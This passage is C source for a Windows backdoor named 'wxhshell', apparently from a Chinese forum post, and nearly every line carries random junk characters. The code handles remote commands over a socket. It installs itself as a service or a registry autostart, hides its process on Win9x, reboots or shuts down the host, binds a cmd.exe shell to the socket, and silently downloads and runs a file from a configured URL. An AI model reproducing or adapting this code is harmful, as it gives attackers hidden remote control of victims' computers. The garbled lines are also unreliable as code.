    switch(cmd[0]) { kIhP 73M  
  GOuBNaU {  
  // 帮助 U>?q|(u  
  case '?': { Osncl5PD)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s S(t }$  
    break; &NZl_7P L  
  } =(:{>tO_"  
  // 安装 (? j $n?p  
  case 'i': { 8}z]B^?Fy  
    if(Install()) yH5^EY7rQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5S`_q&  
    else XG FjqZr`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oU`8\ n](  
    break; <"F\&M`G  
    } @zo}#.g  
  // 卸载 wZB:7E%  
  case 'r': { 2(M^8Bl  
    if(Uninstall()) S`g:z b_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1.*VliY  
    else n "?It  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P"d7Af  
    break; Y|JC+ Ee  
    } .XDY1~w0  
  // 显示 wxhshell 所在路径 U$jw8I'.  
  case 'p': { D#Qfa!=g  
    char svExeFile[MAX_PATH]; afrU>#+"  
    strcpy(svExeFile,"\n\r"); Bu|U z0Y  
      strcat(svExeFile,ExeFile); \ldjWc<S  
        send(wsh,svExeFile,strlen(svExeFile),0); nF$n[:  
    break; ,ab_u@  
    } W[Kv Qt3%  
  // 重启 )c|S)iJ7=z  
  case 'b': { !-%fCg(B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I3sH8/*  
    if(Boot(REBOOT)) gwVfiXR4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wMFo8;L  
    else { n[DQ5l  
    closesocket(wsh); & D@/_m $  
    ExitThread(0); n.9k<  
    } vC$Q4>m  
    break; MO}J  
    } dQP7CP  
  // 关机 }?[^q  
  case 'd': { s}"5uDfn1F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;VM',40  
    if(Boot(SHUTDOWN)) VG FWF3s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8/q6vk><  
    else { j7r!N^  
    closesocket(wsh); $p_FrN{  
    ExitThread(0); ]j.=zQP?'  
    } j{}-zQ]n  
    break; A8Z2o\+  
    } Cwo(%Wc  
  // 获取shell 9 {&APxm  
  case 's': { },1**_#<Br  
    CmdShell(wsh); vn oI.;H,  
    closesocket(wsh); dLA'cQId  
    ExitThread(0); Qa*?iD  
    break; _D{zB1d\0  
  } r=57,P(:Ca  
  // 退出 K&1o!<|  
  case 'x': { u=j|']hp#&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2hB';Dv  
    CloseIt(wsh); O5}/OH|j  
    break; +Smt8O<N  
    } Q2^~^'Y k  
  // 离开 YA(_*h  
  case 'q': { <(|No3jx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }m '= _u  
    closesocket(wsh); 6@0 wKV!D  
    WSACleanup(); 1X-KuGaD  
    exit(1); aJh=4j~.  
    break; x0t&hY>P!  
        } JtB"Dh  
  } D@]gc&JN[  
  } VyRU_<xP  
ZHPsGHA  
  // 提示信息 TTNgnP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a2:Tu  
} RX]x3-  
  } G`!ff  
!: e0cV  
  return; dU!`aPL?  
} 3,`.$   
NF?FEUoxz  
// shell模块句柄 iQ[0d.(A  
int CmdShell(SOCKET sock) 9C$#A+~C  
{ `b(y 5Z  
STARTUPINFO si; qg7] YT&  
ZeroMemory(&si,sizeof(si)); 79.J`}#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5f54E|vD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8mjP2  
PROCESS_INFORMATION ProcessInfo; `i{k^Q  
char cmdline[]="cmd"; R'E8>ee; ^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "|1MJuY_6  
  return 0; 6k#H>zY,  
} 7e,<$PH  
#xWC(*Ggp  
// 自身启动模式 $Cu/!GA4.>  
int StartFromService(void) *q5'~)W<  
{ ]mU,y$IQ  
typedef struct vBUl6EmWu  
{ OtopA)  
  DWORD ExitStatus; ?nm:e.S+?  
  DWORD PebBaseAddress; )p.+39]{2  
  DWORD AffinityMask; >M` swEj  
  DWORD BasePriority; Kd_WN;l  
  ULONG UniqueProcessId; X^3 0a*sj  
  ULONG InheritedFromUniqueProcessId; YK# QH"}  
}   PROCESS_BASIC_INFORMATION; 9"yBO`  
* *?mZtF  
PROCNTQSIP NtQueryInformationProcess; DdI7%?hK  
!'14mN#A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V/5hEoDt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y^dVNC3vd  
Q*TxjE7K  
  HANDLE             hProcess; 7R\!'`]\M  
  PROCESS_BASIC_INFORMATION pbi; N0s)Nao4  
Z2chv,SqCJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FswMEf-|  
  if(NULL == hInst ) return 0; -`e=u<Y9@  
v{rc5 ]\R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h.)2,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :oB4\/(G#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V07x+ovq  
<_*8a(j3  
  if (!NtQueryInformationProcess) return 0; $XS0:C0  
@4:cn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lwH&4K  
  if(!hProcess) return 0; Q^Ln`zMe  
QN(f8t(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &%pB; dk  
#( nheL  
  CloseHandle(hProcess); S(A0),  
d9/E^)TT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  w'=#7$N  
if(hProcess==NULL) return 0; Fqzk/m  
JxQwxey{  
HMODULE hMod; *jWU8.W  
char procName[255]; <$.KCLP  
unsigned long cbNeeded; 4Uz:zB  
#e%.z+7I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aMTY{  
)!dELS \ix  
  CloseHandle(hProcess); <.3@-z>w2,  
tC+9W1o  
if(strstr(procName,"services")) return 1; // 以服务启动 b* Ipg8n+  
-<#n7b  
  return 0; // 注册表启动 i7~oZ)w  
} ej,MmLu~^  
Y=G *[G#  
// 主模块 }wR)p  
int StartWxhshell(LPSTR lpCmdLine) ZLvw]N&R  
{ 4x'^?0H@  
  SOCKET wsl; 1elx~5v1.=  
BOOL val=TRUE; y_"GMw  
  int port=0; yh_s(>sh  
  struct sockaddr_in door; I#l9  
%9mCgHQ9  
  if(wscfg.ws_autoins) Install(); Kw'Dzz%kN  
ZNB*Azi  
port=atoi(lpCmdLine); +2oZB]GPL  
\Y9=d E}  
if(port<=0) port=wscfg.ws_port; HkvCQH  
c7\bA7.  
  WSADATA data; !U`T;\,v5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p)ZlQ.d#Y  
mUy/lo'4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ao96[2U6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f.jAJ; N>  
  door.sin_family = AF_INET; JXj`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^ +{ ~ ^y7  
  door.sin_port = htons(port); 7\ff=L-b  
?p5RSt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u\qyh9s  
closesocket(wsl); -lL*WA`  
return 1; %8o(x 0  
} QBto$!})  
3|:uIoR{  
  if(listen(wsl,2) == INVALID_SOCKET) { Op3 IL/  
closesocket(wsl); |ry;'[*  
return 1; U7crbj;c)d  
} qw87B!D  
  Wxhshell(wsl); O8u"Y0$*w  
  WSACleanup(); s*k"-5  
\g4\a?i  
return 0; &s/aJgJhp  
?5mVC]W?]  
} =X&h5;x'  
V2/+SvB2  
// 以NT服务方式启动 6lT'%ho}B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N83RsL "}_  
{ :o}7C%Q8  
DWORD   status = 0; x6DH0*[.  
  DWORD   specificError = 0xfffffff; =hl-c  
(f#W:]o/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LO"HwN43h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f`Wfw3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !hH6!G  
  serviceStatus.dwWin32ExitCode     = 0; U}A+jJ  
  serviceStatus.dwServiceSpecificExitCode = 0; tDN-I5q  
  serviceStatus.dwCheckPoint       = 0; l"*>>/U k  
  serviceStatus.dwWaitHint       = 0; He!0&B\7h  
Xkv>@7ec  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #gN{8Yk>  
  if (hServiceStatusHandle==0) return; ]Vwky]d  
G|O"Kv6  
status = GetLastError(); W>@%d`>o5  
  if (status!=NO_ERROR) L0&!Qct  
{ V$v;lvt^Uq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M2xUs  
    serviceStatus.dwCheckPoint       = 0; bkOm/8k|4  
    serviceStatus.dwWaitHint       = 0; 5 #kvb$97  
    serviceStatus.dwWin32ExitCode     = status; !d(!1fC  
    serviceStatus.dwServiceSpecificExitCode = specificError; -nk%He  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tb=L+WAIw  
    return; D[-Ct  
  } +H<%)Lk J  
T!a8c<'V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wG{o bsL.!  
  serviceStatus.dwCheckPoint       = 0; V GvOwd)E  
  serviceStatus.dwWaitHint       = 0; G,"$Erx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4|+ |L_  
} w@:o:yLS  
)d.7xY7!  
// 处理NT服务事件,比如:启动、停止 -x_iqrB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >8AtT=}w  
{ Z#J{tXZc  
switch(fdwControl) ' xi..  
{ '6WDs]\  
case SERVICE_CONTROL_STOP: rLKDeB  
  serviceStatus.dwWin32ExitCode = 0; 1$Hf`h2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (u'/tNGS  
  serviceStatus.dwCheckPoint   = 0; s+CXKb +  
  serviceStatus.dwWaitHint     = 0; 8c/Ii"1  
  { 8 Zj>|u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 73<iK]*c  
  } qJ!oH&/cD  
  return; e5XikL u  
case SERVICE_CONTROL_PAUSE: ?,8b-U#A1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ah<f&2f  
  break; r2Z`4tN:  
case SERVICE_CONTROL_CONTINUE: sNZPv^c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h">X!I  
  break; h=U 4  
case SERVICE_CONTROL_INTERROGATE: +_}2zc4  
  break; 87>Qw,r  
}; v*^2[pf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =& lYv  
} w6yeX<!ll  
hWW<]qzA,  
// 标准应用程序主函数 'Qfy+_0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w`v\/a_  
{ AdYQhF##  
|$w-}$jq5  
// 获取操作系统版本 HZ}'W<N  
OsIsNt=GetOsVer(); (Z5#;rgem  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X'F$K!o*,:  
 Uh8ieb  
  // 从命令行安装 Q$zlxn 7\  
  if(strpbrk(lpCmdLine,"iI")) Install(); vSL{WT]m  
d!X?R}  
  // 下载执行文件 ]s S oIT  
if(wscfg.ws_downexe) { 2M1mdkP3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ky%%H;  
  WinExec(wscfg.ws_filenam,SW_HIDE); Oxvw`a#  
} A&7jE:Ew  
`&6]P:_qp  
if(!OsIsNt) { :)yM9^<D  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^KF'/9S  
HideProc(); S\rfR N  
StartWxhshell(lpCmdLine); ;lEiOF+d  
} +=8Po'E^!d  
else Smu x&e  
  if(StartFromService()) ~zX5}U<R  
  // 以服务方式启动 bDNd m-  
  StartServiceCtrlDispatcher(DispatchTable); )gLasR.1  
else Yt'o#"R)  
  // 普通方式启动 od fu7P_  
  StartWxhshell(lpCmdLine); NEH$&%OV?  
y$"L`*W  
return 0; N{yZk"fq:6  
}
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只看该作者 1 发表于: 2006-10-10
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